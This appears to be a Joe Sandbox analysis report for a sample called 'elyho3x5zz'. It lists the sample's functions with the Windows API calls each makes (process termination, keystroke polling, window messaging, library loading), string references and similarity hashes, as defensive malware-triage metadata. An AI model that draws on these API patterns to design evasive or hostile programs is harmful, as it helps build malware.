String ID:
API String ID: 4278518827-0
Opcode ID: d88387182f0ff78ab7778ef1a67cdc330360886ef23228c05630025599c5fb3f
Instruction ID: a8b8edcd1290aee20c08525ac3ae502f10de1729253416bb63c5deb3afc19b92
Opcode Fuzzy Hash: d88387182f0ff78ab7778ef1a67cdc330360886ef23228c05630025599c5fb3f
Instruction Fuzzy Hash: 9E115E729066408AE34CDF39DC481197BB6FB98B08B98C078C6498F269EF39D49AD710

Function 00007FF73A24DA1C Relevance: 9.0, APIs: 6, Instructions: 34windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32 ref: 00007FF73A24DA2F
SendMessageTimeoutW.USER32 ref: 00007FF73A24DA5C
GetWindowThreadProcessId.USER32 ref: 00007FF73A24DA6F
OpenProcess.KERNEL32 ref: 00007FF73A24DA81
TerminateProcess.KERNEL32 ref: 00007FF73A24DA8F
CloseHandle.KERNEL32 ref: 00007FF73A24DA98

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 8de778dfa191c13712f893bc864b87f9ca3b199504ecf632adb079649907a02e
Instruction ID: 56fa9e8a3042fce6de0706a0b06d7bccdf3454be4bc7975156e3947a843d6472
Opcode Fuzzy Hash: 8de778dfa191c13712f893bc864b87f9ca3b199504ecf632adb079649907a02e
Instruction Fuzzy Hash: 3E01A236B1474197FB14EB21E805A29B361FFC9B95F849134EE0A46B14DF3CD048EB00

Function 00007FF73A23F378 Relevance: 9.0, APIs: 6, Instructions: 33threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32 ref: 00007FF73A23F3A8
GetWindowThreadProcessId.USER32 ref: 00007FF73A23F3B8
GetCurrentThreadId.KERNEL32 ref: 00007FF73A23F3C0
GetWindowThreadProcessId.USER32 ref: 00007FF73A23F3D0
GetCurrentThreadId.KERNEL32 ref: 00007FF73A23F3D8
AttachThreadInput.USER32 ref: 00007FF73A23F3E5

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Thread$CurrentProcessWindow$AttachInputMessageSendTimeout
String ID:
API String ID: 179993514-0
Opcode ID: 3c8edd0cfd7487a94cc2a97b78295d5ab7e6e6e303c53cb727e1080bae55b3ee
Instruction ID: d130a2358976880a90a7cad2945273f0d3b3ca2d58ae7c8176e47014c4b7d0f5
Opcode Fuzzy Hash: 3c8edd0cfd7487a94cc2a97b78295d5ab7e6e6e303c53cb727e1080bae55b3ee
Instruction Fuzzy Hash: 1EF0C829F1875157F7546B71B84A629E395BFC8744FC440B4E90E42B54DF3DD084BB10

Function 00007FF73A23D868 Relevance: 9.0, APIs: 6, Instructions: 22memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 00007FF73A23D877
UnloadUserProfile.USERENV ref: 00007FF73A23D885
CloseHandle.KERNEL32 ref: 00007FF73A23D88F
CloseHandle.KERNEL32 ref: 00007FF73A23D898
GetProcessHeap.KERNEL32 ref: 00007FF73A23D89E
HeapFree.KERNEL32 ref: 00007FF73A23D8AC

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: d3946954f153790a4c7b3048297fa9f332d93d6b437e3fe9da6548dd2ef4d2ab
Instruction ID: 7642cd2236f79747de5c341d3447e17170bfdc4da6531a804999f022b8e8c7dc
Opcode Fuzzy Hash: d3946954f153790a4c7b3048297fa9f332d93d6b437e3fe9da6548dd2ef4d2ab
Instruction Fuzzy Hash: 64F03029A14A01D6FB04FF76DC55028A365FFC8FA5B848171DD1E86378CE3CD485A310

Function 00007FF73A240EAF Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 187COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00007FF73A240EDB

Part of subcall function 00007FF73A240B90: CharUpperBuffW.USER32(?,?,00000001,00007FF73A240F61), ref: 00007FF73A240C6A

Strings

LAST, xrefs: 00007FF73A240F55, 00007FF73A240F7E
HANDLE, xrefs: 00007FF73A24100B, 00007FF73A24101C
REGEXPTITLE, xrefs: 00007FF73A24105A, 00007FF73A24106F
ACTIVE, xrefs: 00007FF73A240FBC, 00007FF73A240FCD

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: BuffCharForegroundUpperWindow
String ID: ACTIVE$HANDLE$LAST$REGEXPTITLE
API String ID: 3570115564-1994484594
Opcode ID: 7c257ca8d76c0aa10b9ff23c4fdb9d550ebcebe8798a519d819cbaa0415aa93d
Instruction ID: e6fc2dc326c5f37c2cc2d990474b3f3ad631c4c758c803202aab19dbb8930bc3
Opcode Fuzzy Hash: 7c257ca8d76c0aa10b9ff23c4fdb9d550ebcebe8798a519d819cbaa0415aa93d
Instruction Fuzzy Hash: 2C71A21AB0DA5361FA64FB66E4032B9F3A1AFD4784FC440B1DA0E46695EF7CE544B320

Function 00007FF73A249898 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 127COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32 ref: 00007FF73A2498EB

Strings

REMOVE, xrefs: 00007FF73A2498F1
KEYS, xrefs: 00007FF73A249938
EXISTS, xrefs: 00007FF73A24997B
APPEND, xrefs: 00007FF73A2499BE

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 3964851224-769500911
Opcode ID: 8fad6df3d2de31fcd3267e08c4545b9e73bd12658db8fa539acfef1871b399d7
Instruction ID: a042508ced91c8a5d1ed3fcf375368784ab3e353e174ab2dcd43434993ab22f6
Opcode Fuzzy Hash: 8fad6df3d2de31fcd3267e08c4545b9e73bd12658db8fa539acfef1871b399d7
Instruction Fuzzy Hash: 4E41F73BF1DA6351FA606F279506179E3D1AB94BD0B940671CA5D83784EE3DE842B320

Function 00007FF73A209B18 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 121COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73A209B56

Strings

O, xrefs: 00007FF73A209BFD
#, xrefs: 00007FF73A209BEB
E, xrefs: 00007FF73A209BF7

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: #$E$O
API String ID: 3215553584-248080428
Opcode ID: d3d7a61e74d4108eabe1bc636e3d6f208025dc38477a0a881e01c4be7aab7093
Instruction ID: da58894468191f60f1be2f43ddd443056dfe6f4ca241967763efbde1e1913479
Opcode Fuzzy Hash: d3d7a61e74d4108eabe1bc636e3d6f208025dc38477a0a881e01c4be7aab7093
Instruction Fuzzy Hash: D341A22AE19751A5FF51EF2298411ADA3A0BF98B98F484471EE4E07758DF3CD441F321

Function 00007FF73A23DF3C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 92windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A240730: GetClassNameW.USER32 ref: 00007FF73A24075B

SendMessageW.USER32 ref: 00007FF73A23DFE3
SendMessageW.USER32 ref: 00007FF73A23E000
SendMessageW.USER32 ref: 00007FF73A23E036

Strings

ComboBox, xrefs: 00007FF73A23DF5F
ListBox, xrefs: 00007FF73A23DF9C

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: MessageSend$ClassName
String ID: ComboBox$ListBox
API String ID: 787153527-1403004172
Opcode ID: 5ccca390760844e887d5499293da284947221a1f387048848ff0e45d29c0f7a5
Instruction ID: bffb4a11e0801c70c9c9f277709d3b27bcaa20d91f3669abcdc23e3fed12b63d
Opcode Fuzzy Hash: 5ccca390760844e887d5499293da284947221a1f387048848ff0e45d29c0f7a5
Instruction Fuzzy Hash: 9931D12AA09642A6FA20EB15E4421B9F3A0FBC6B80FC44271DE5D477D5DE3CE149E720

Function 00007FF73A2793E8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A1D932C: CreateWindowExW.USER32 ref: 00007FF73A1D93BC
Part of subcall function 00007FF73A1D932C: GetStockObject.GDI32 ref: 00007FF73A1D93D9
Part of subcall function 00007FF73A1D932C: SendMessageW.USER32 ref: 00007FF73A1D93EC

SendMessageW.USER32 ref: 00007FF73A2794C1
LoadLibraryW.KERNEL32 ref: 00007FF73A2794CE
SendMessageW.USER32 ref: 00007FF73A2794EC
DestroyWindow.USER32 ref: 00007FF73A2794FA

Strings

SysAnimate32, xrefs: 00007FF73A279460

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: 3e4d22fa235855ff4f2554ab96e3220b01af827ee5636b6f724e9c857c26afd0
Instruction ID: 05f41472d74efeb73674967205fa308518587463586b25866cd476ba982e5b33
Opcode Fuzzy Hash: 3e4d22fa235855ff4f2554ab96e3220b01af827ee5636b6f724e9c857c26afd0
Instruction Fuzzy Hash: 0531CF36A087D1DAE7A0AF25E44176AB3A0FB85B80F904179DA5D43B85DF3DD440EF10

Function 00007FF73A1F9164 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF73A1F9184
GetProcAddress.KERNEL32 ref: 00007FF73A1F919A
FreeLibrary.KERNEL32 ref: 00007FF73A1F91BF

Strings

mscoree.dll, xrefs: 00007FF73A1F917B
CorExitProcess, xrefs: 00007FF73A1F9193

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: ec043f9b6fed639492fe08c1f7567e430e68234150a908e2993f018ebf9edeab
Instruction ID: 9204727718d5ee818413f85f8bfaeac9657925910063647aec9abce3c0bb6de5
Opcode Fuzzy Hash: ec043f9b6fed639492fe08c1f7567e430e68234150a908e2993f018ebf9edeab
Instruction Fuzzy Hash: 25F04429A1EA82A1FE44BB11F445279A3A4EFC8790FC81075FA0F86755DE3CD444E720

Function 00007FF73A2189B4 Relevance: 7.8, APIs: 5, Instructions: 265COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03f3b3863cf3428f55316b0c9d809bb68f76fa44e49f8ab79cf537312fbddc30
Instruction ID: cf67a4327ff862e1f8551c3ce25ae899b1150cb0a6c1164a062551a8dec15263
Opcode Fuzzy Hash: 03f3b3863cf3428f55316b0c9d809bb68f76fa44e49f8ab79cf537312fbddc30
Instruction Fuzzy Hash: A5A10666B0878266FB34AF609892379E6D1AF807A4F9446B1DE1D077C5DF3CE444B320

Function 00007FF73A20ED08 Relevance: 7.7, APIs: 5, Instructions: 203COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73A20ED4D

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: f29f2ab1c13e66daf1f8c2b4a146e68bdfc50a5cc3b930cf9745f903616afb6d
Instruction ID: 95290e8609f862b4bbc220f8653609f4c24707f55ffbf01b648995cc23a1e3d3
Opcode Fuzzy Hash: f29f2ab1c13e66daf1f8c2b4a146e68bdfc50a5cc3b930cf9745f903616afb6d
Instruction Fuzzy Hash: 5F81F32AE18616A9F720FB6588422BDA7A4BBC4B54F8441B5DD0E477D1CF3CE481F722

Function 00007FF73A212998 Relevance: 7.6, APIs: 5, Instructions: 133COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73A2129E9

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 69caafc8f8afcb53c87a7f7053d9646584506dbe7d8e8e6cfd9f4db44817ad77
Instruction ID: 12c89468b7674d561c4d1425d524a009e8d9a32f859e8da63c4404db8fbe1527
Opcode Fuzzy Hash: 69caafc8f8afcb53c87a7f7053d9646584506dbe7d8e8e6cfd9f4db44817ad77
Instruction Fuzzy Hash: AE51D526608782A5FB38AF119881139F7A5EF80BA0F944271EAAD476D4DE3CE541F320

Function 00007FF73A1D1CEC Relevance: 7.6, APIs: 5, Instructions: 124keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32 ref: 00007FF73A1D1D1B
ScreenToClient.USER32 ref: 00007FF73A1D1D3A
GetAsyncKeyState.USER32 ref: 00007FF73A1D1D62
GetAsyncKeyState.USER32 ref: 00007FF73A1D1D82

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 66afa1c94deaf905156041cf676ffe3a2b02e9b0039980c06c23d4dff2918920
Instruction ID: e9721bec87bef302a162a43248893cadd08e1ad80aedf1095c46a2d9ffe95c6a
Opcode Fuzzy Hash: 66afa1c94deaf905156041cf676ffe3a2b02e9b0039980c06c23d4dff2918920
Instruction Fuzzy Hash: BB51243AB08681ABF794EF31D90527AB7A4FB85758F400231EE5A83BD5CF38E451A710

Function 00007FF73A20BA2C Relevance: 7.6, APIs: 5, Instructions: 114libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF73A20BB4E

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: a18f96543d52060ea1fb4eaea9751658dcb69330229f7bbe75e5b271c8b8e6e3
Instruction ID: d5736b0cfb698f5e86175af81cb5878bae28fda727b7d01bfdefc9a7192df177
Opcode Fuzzy Hash: a18f96543d52060ea1fb4eaea9751658dcb69330229f7bbe75e5b271c8b8e6e3
Instruction Fuzzy Hash: 5C41E729B09702A7FA25EF056806275E395BF88BD4F894575ED5D4B744DE3CE400B311

Function 00007FF73A27FF50 Relevance: 7.6, APIs: 5, Instructions: 109COMMON

Download Yara Rule

APIs

ShowWindow.USER32 ref: 00007FF73A27FFE7
EnableWindow.USER32 ref: 00007FF73A280012
ShowWindow.USER32 ref: 00007FF73A28007C
ShowWindow.USER32 ref: 00007FF73A280098
EnableWindow.USER32 ref: 00007FF73A2800C6

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Window$Show$Enable
String ID:
API String ID: 2939132127-0
Opcode ID: c489c8d02495f69c1778672d4edb055e6fea3c7ece5ab9feb79cbeb3e5804fe0
Instruction ID: 885df42feb69a82fe17b6a7c56f9d1420dcec6e20f96842d6c046282be907071
Opcode Fuzzy Hash: c489c8d02495f69c1778672d4edb055e6fea3c7ece5ab9feb79cbeb3e5804fe0
Instruction Fuzzy Hash: 3651AF3A90D78695FB50DB15D445378B7A4EBC5B84FA840B2DA4E877A0CE3DE486F320

Function 00007FF73A23D924 Relevance: 7.6, APIs: 5, Instructions: 91sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?,?,?,?,00007FF73A23D8F3), ref: 00007FF73A23D952
PostMessageW.USER32 ref: 00007FF73A23D9F2
Sleep.KERNEL32(?,?,?,?,?,00007FF73A23D8F3), ref: 00007FF73A23D9FA
PostMessageW.USER32 ref: 00007FF73A23DA0D
Sleep.KERNEL32(?,?,?,?,?,00007FF73A23D8F3), ref: 00007FF73A23DA15

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: 53e5e18aae174657f43a3affddf2552eb5f4829ae1ffd7803c72ea05724a17bc
Instruction ID: 2710ed353b1682ffe8c0bccd98a57c47c6522448d9dcafbb37a9e73eb1a6e593
Opcode Fuzzy Hash: 53e5e18aae174657f43a3affddf2552eb5f4829ae1ffd7803c72ea05724a17bc
Instruction Fuzzy Hash: FF31393AA0820497F710DF19E445269B3A0F7C8BA8F804631EE5E87798DE3DE841E710

Function 00007FF73A253824 Relevance: 7.6, APIs: 5, Instructions: 89windowCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 00007FF73A253889
TranslateAcceleratorW.USER32 ref: 00007FF73A2538E9
TranslateMessage.USER32 ref: 00007FF73A253916
DispatchMessageW.USER32 ref: 00007FF73A253921
PeekMessageW.USER32 ref: 00007FF73A253938

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchInputPeekState
String ID:
API String ID: 2256411358-0
Opcode ID: c134d4337344e0b5e6f60fa6ff3406e13c81d8ed9a5a6472cdeb4b0526b89ef4
